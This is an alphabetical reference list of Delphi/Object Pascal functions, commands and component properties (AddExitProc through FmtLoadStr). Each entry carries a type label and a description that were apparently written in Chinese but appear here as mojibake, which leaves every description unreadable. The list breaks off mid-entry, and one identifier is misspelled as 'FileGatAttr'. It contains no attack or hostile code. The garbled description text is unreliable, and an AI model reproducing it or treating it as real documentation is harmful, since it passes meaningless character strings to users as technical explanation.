    AddExitProc                 º¯Êý         ½«Ò»¹ý³ÌÌí¼Óµ½ÔËÐÐʱ¿âµÄ½áÊø¹ý³Ì±íÖÐ
    Addr                        º¯Êý         ·µ»ØÖ¸¶¨¶ÔÏóµÄµØÖ·
    AdjustLineBreaks            º¯Êý         ½«¸ø¶¨×Ö·û´®µÄÐзָô·ûµ÷ÕûΪCR/LFÐòÁÐ
    Align                       ÊôÐÔ         ʹ¿Ø¼þλÓÚ´°¿Úij²¿·Ö
    Alignment                   ÊôÐÔ         ¿Ø¼þ±êÇ©µÄÎÄ×ÖλÖÃ
    AllocMem                    º¯Êý         ÔÚ¶ÑÕ»ÉÏ·ÖÅ䏸¶¨´óСµÄ¿é
    AllowGrayed                 ÊôÐÔ         ÔÊÐíÒ»¸ö»Ò¶ÈÑ¡Ôñ
    AnsiCompareStr              º¯Êý         ±È½Ï×Ö·û´®£¨Çø·Ö´óСд£©
    AnsiCompareText             º¯Êý         ±È½Ï×Ö·û´®£¨²»Çø·Ö´óСд£©
    AnsiLowerCase               º¯Êý         ½«×Ö·ûת»»ÎªÐ¡Ð´
    AnsiUpperCase               º¯Êý         ½«×Ö·ûת»»Îª´óд
    Append                      º¯Êý         ÒÔ¸½¼ÓµÄ·½Ê½´ò¿ªÒÑÓеÄÎļþ
    ArcTan                      º¯Êý         ÓàÇк¯Êý
    AssignFile                  º¯Êý         ¸øÎļþ±äÁ¿¸³Ò»ÍⲿÎļþÃû
    Assigned                    º¯Êý         ²âÊÔº¯Êý»ò¹ý³Ì±äÁ¿ÊÇ·ñΪ¿Õ
    AutoSize                    ÊôÐÔ         ×Ô¶¯¿ØÖƱêÇ©µÄ´óС
    BackgroundColor             ÊôÐÔ         ±³¾°É«
    BeginThread                 º¯Êý         ÒÔÊʵ±µÄ·½Ê½½¨Á¢ÓÃÓÚÄÚ´æ¹ÜÀíµÄÏß³Ì
    BevelInner                  ÊôÐÔ         ¿Ø¼þ·½¿òµÄÄÚ¿ò·½Ê½
    BevelOuter                  ÊôÐÔ         ¿Ø¼þ·½¿òµÄÍâ¿ò·½Ê½
    BevelWidth                  ÊôÐÔ         ¿Ø¼þ·½¿òµÄÍâ¿ò¿í¶È
    BlockRead                   º¯Êý         ¶ÁÒ»¸ö»ò¶à¸ö¼Ç¼µ½±äÁ¿ÖÐ
    BlockWrite                  º¯Êý         ´Ó±äÁ¿ÖÐдһ¸ö»ò¶à¸ö¼Ç¼
    BorderStyle                 ÊôÐÔ         ±ß½çÀàÐÍ
    BorderWidth                 ÊôÐÔ         ±ß½ç¿í¶È
    Break                       ÃüÁî         ÖÕÖ¹for¡¢while¡¢repeatÑ­»·Óï¾ä
    Brush                       ÊôÐÔ         »­Ë¢
    Caption                     ÊôÐÔ         ±êÇ©ÎÄ×ÖµÄÄÚÈÝ
    ChangeFileExt               º¯Êý         ¸Ä±äÎļþµÄºó׺
    ChDir                       º¯Êý         ¸Ä±äµ±Ç°Ä¿Â¼
    Checked                     ÊôÐÔ         È·¶¨¸´Ñ¡¿òÑ¡ÖÐ״̬
    Chr                         º¯Êý         ·µ»ØÖ¸¶¨ÐòÊýµÄ×Ö·û
    CloseFile                   ÃüÁî         ¹Ø±Õ´ò¿ªµÄÎļþ
    Color                       ÊôÐÔ         ±êÇ©µÄÑÕÉ«
    Columns                     ÊôÐÔ         ÏÔʾµÄÁÐÊý
    CompareStr                  º¯Êý         ±È½Ï×Ö·û´®£¨Çø·Ö´óСд£©
    Concat                      º¯Êý         ºÏ²¢×Ö·û´®
    Continue                    ÃüÁî         ¼ÌÐøfor¡¢while¡¢repeatµÄÏÂÒ»¸öÑ­»·
    Copy                        º¯Êý         ·µ»ØÒ»×Ö·û´®µÄ×Ó´®
    Cos                         º¯Êý         ÓàÏÒº¯Êý
    Ctl3D                       ÊôÐÔ         ÊÇ·ñ¾ßÓÐ3DЧ¹û
    Cursor                      ÊôÐÔ         Êó±êÖ¸ÕëÒÆÈëºóµÄÐÎ×´
    Date                        º¯Êý         ·µ»Øµ±Ç°µÄÈÕÆÚ
    DateTimeToFileDate          º¯Êý         ½«DELPHIµÄÈÕÆÚ¸ñʽת»»ÎªDOSµÄÈÕÆÚ¸ñʽ
    DateTimeToStr               º¯Êý         ½«ÈÕÆÚʱ¼ä¸ñʽת»»Îª×Ö·û´®
    DateTimeToString            º¯Êý         ½«ÈÕÆÚʱ¼ä¸ñʽת»»Îª×Ö·û´®
    DateToStr                   º¯Êý         ½«ÈÕÆÚ¸ñʽת»»Îª×Ö·û´®
    DayOfWeek                   º¯Êý         ·µ»ØÐÇÆÚµÄÊýÖµ
    Dec                         º¯Êý         µÝ¼õ±äÁ¿Öµ
    DecodeDate                  º¯Êý         ½«ÈÕÆÚ¸ñʽ·Ö½âΪÄêÔÂÈÕ
    DecodeTime                  º¯Êý         ½«Ê±¼ä¸ñʽ·Ö½âΪʱ¡¢·Ö¡¢Ãë¡¢ºÁÃë
    Delete                      º¯Êý         ´Ó×Ö·û´®ÖÐɾ³ý×Ó´®
    DeleteFile                  ÃüÁî         ɾ³ýÎļþ
    DiskFree                    º¯Êý         ·µ»ØÊ£Óà´ÅÅ̿ռäµÄ´óС
    DiskSize                    º¯Êý         ·µ»ØÖ¸¶¨´ÅÅ̵ÄÈÝÁ¿
    Dispose                     º¯Êý         ÊͷŶ¯Ì¬±äÁ¿ËùÕ¼µÄ¿Õ¼ä
    DisposeStr                  º¯Êý         ÊÍ·Å×Ö·û´®ÔÚ¶ÑÕ»ÖеÄÄÚ´æ¿Õ¼ä
    DitherBackground            ÊôÐÔ         ʹ±³¾°É«µÄÉ«²Ê¼ÓÖØ»ò¼õÉÙ50%
    DragCursor                  ÊôÐÔ         µ±Êó±ê°´ÏÂʱ¹â±êµÄÐÎ×´
    DragMode                    ÊôÐÔ         °´¶¯µÄ×÷Ó÷½Ê½
    DropDownCount               ÊôÐÔ         ÈÝÐíµÄÏÔʾÊý¾ÝÏîµÄÊýÄ¿
    EditMask                    ÊôÐÔ         ±à¼­Ä£Ê½
    Enabled                     ÊôÐÔ         ÊÇ·ñʹ±êÇ©³ÊÏÖ´ò¿ª×´Ì¬
    EncodeDate                  º¯Êý         ½«ÄêÔÂÈպϳÉΪÈÕÆÚ¸ñʽ
    EncodeTime                  º¯Êý         ½«Ê±¡¢·Ö¡¢Ãë¡¢ºÁÃëºÏ³ÉΪʱ¼ä¸ñʽ
    EndMargin                   ÊôÐÔ         ĩβ±ßÔµ
    Eof                         º¯Êý         ¶ÔÓÐÀàÐÍ»òÎÞÀàÐÍÎļþ²âÊÔÊÇ·ñµ½Îļþβ
    Eoln                        º¯Êý         ·µ»ØÎı¾ÎļþµÄÐнáÊø×´Ì¬
    Erase                       ÃüÁî         ɾ³ýÍⲿÎļþ
    ExceptAddr                  º¯Êý         ·µ»ØÒýÆðµ±Ç°ÒâÍâµÄµØÖ·
    Exclude                     º¯Êý         ´Ó¼¯ºÏÖÐɾ³ýÒ»Ð©ÔªËØ
    ExceptObject                º¯Êý         ·µ»Øµ±Ç°ÒâÍâµÄË÷Òý
    Exit                        ÃüÁî         Á¢¼´´Óµ±Ç°µÄÓï¾ä¿éÖÐÍ˳ö
    Exp                         º¯Êý         Ö¸Êýº¯Êý
    ExpandFileName              º¯Êý         ·µ»Ø°üº¬¾ø¶Ô·¾¶µÄ×Ö·û´®
    ExtendedSelect              ÊôÐÔ         ÊÇ·ñÔÊÐí´æÔÚÑ¡Ôñģʽ£¬Trueʱ£¬MultiSelect²ÅÓÐÒâÒå
    ExtractFileDir              º¯Êý         ·µ»ØÇý¶¯Æ÷ºÍ·¾¶
    ExtractFileExt              º¯Êý         ·µ»ØÎļþµÄºó׺
    ExtractFileName             º¯Êý         ·µ»ØÎļþÃû
    ExtractFilePath             º¯Êý         ·µ»ØÖ¸¶¨ÎļþµÄ·¾¶
    FileAge                     º¯Êý         ·µ»ØÎļþÒÑ´æÔÚµÄʱ¼ä
    FileClose                   ÃüÁî         ¹Ø±ÕÖ¸¶¨µÄÎļþ
    FileCreate                  ÃüÁî         ÓÃÖ¸¶¨µÄÎļþÃû½¨Á¢ÐÂÎļþ
    FileDateToDateTime          º¯Êý         ½«DOSµÄÈÕÆÚ¸ñʽת»»ÎªDELPHIµÄÈÕÆÚ¸ñʽ
    FileExists                  º¯Êý         ¼ì²éÎļþÊÇ·ñ´æÔÚ
    FileGatAttr                 º¯Êý         ·µ»ØÎļþµÄÊôÐÔ
    FileGetDate                 º¯Êý         ·µ»ØÎļþµÄDOSÈÕÆÚʱ¼ä±ê¼Ç
    FileOpen                    ÃüÁî         ÓÃÖ¸¶¨µÄ´æÈ¡Ä£Ê½´ò¿ªÖ¸¶¨µÄÎļþ
    FilePos                     º¯Êý         ·µ»ØÎļþµÄµ±Ç°Ö¸ÕëλÖÃ
    FileRead                    ÃüÁî         ´ÓÖ¸¶¨µÄÎļþ¶ÁÈ¡
    FileSearch                  ÃüÁî         ÔÚĿ¼ÖÐËÑË÷Ö¸¶¨µÄÎļþ
    FileSeek                    º¯Êý         ¸Ä±äÎļþµÄÖ¸Õë
    FileSetAttr                 º¯Êý         ÉèÖÃÎļþÊôÐÔ
    FileSetDate                 º¯Êý         ÉèÖÃÎļþµÄDOSÈÕÆÚʱ¼ä±ê¼Ç
    FileSize                    º¯Êý         ·µ»Øµ±Ç°ÎļþµÄ´óС
    FileWrite                   º¯Êý         ¶ÔÖ¸¶¨µÄÎļþ×öд²Ù×÷
    FillChar                    º¯Êý         ÓÃÖ¸¶¨µÄÖµÌî³äÁ¬Ðø×Ö½ÚµÄÊý
    FindClose                   ÃüÁî         ÖÕÖ¹FindFirst/FindNextÐòÁÐ
    FindFirst                   ÃüÁî         ¶ÔÖ¸¶¨µÄÎļþÃû¼°ÊôÐÔËÑË÷Ŀ¼
    FindNext                    ÃüÁî         ·µ»ØÓëÎļþÃû¼°ÊôÐÔÆ¥ÅäµÄÏÂÒ»Èë¿Ú
    FloatToDecimal              º¯Êý         ½«¸¡µãÊýת»»ÎªÊ®½øÖÆÊý
    FloatToStrF                 º¯Êý         ½«¸¡µãÊýת»»Îª×Ö·û´®
    FloatToStr                  º¯Êý         ½«¸¡µãÊýת»»Îª×Ö·û´®
    FloatToText                 º¯Êý         ½«¸ø¶¨µÄ¸¡µãÊýת»»ÎªÊ®½øÖÆÊý
    FloatToTextFmt              º¯Êý         ½«¸ø¶¨µÄ¸¡µãÊýת»»ÎªÊ®½øÖÆÊý
    Flush                       º¯Êý         ½«»º³åÇøµÄÄÚÈÝˢе½Êä³öµÄÎı¾ÎļþÖÐ
    FmtLoadStr                  º¯Êý         ´Ó³ÌÐòµÄ×ÊÔ´×Ö·û´®±íÖÐ×°ÔØ×Ö·û´